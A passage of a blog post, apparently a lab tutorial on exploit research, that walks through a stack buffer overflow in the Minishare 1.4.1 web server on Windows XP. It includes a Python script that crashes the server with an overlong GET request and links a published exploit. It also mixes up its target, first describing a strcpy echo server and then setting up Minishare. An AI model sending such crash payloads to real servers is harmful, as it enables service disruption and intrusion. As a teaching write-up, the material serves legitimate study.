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       This blog is all about Exploit Research Video #3 form Pentester Academy/Security Tube. The exploit Research Megaprimer can be found on http://www.securitytube.net/groups?operation=view&groupId=7 Here I will be demonstrating buffer overflow on a strcpy or echo server that is written in c programming language by Vivek Ramachandran. All you need to do is double click on the Server-strcpy.exe file to run the server. Configuration/Setup:

You can download the server from: https://www.dropbox.com/s/zhivgb79wtbce37/minishare-1.4.1.exe?dl=0 Exploit code in ruby: https://www.exploit-db.com/exploits/616/ The vulnerability is a long URL in the GET request. Eg:- GET AAAAAAAAAAAAAAAA..... HTTP/1.1 Lab Setup: 1) Windows xp ( I am using windows xp sp1) 2) Immunity debugger installed on the windows xp machine. 3) Minishare 1.4.1 installed on windows xp running on port 80. 2) Kali linux for scripting and exploiting. Configure the victim: I have installed Minishare server 1.4.1 and it is listening for connections on port 80, as depicted below. Generate Sample script to crash: We will try to smash the stack by sending a buffer of 2000 A's with the help of the following script. #!/usr/share/python import socket,sys s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((sys.argv[1],80)) buff="GET " buff+="A"*2000 buff+=" HTTP/1.1\r\n\r\n" s.send(buff) s.close...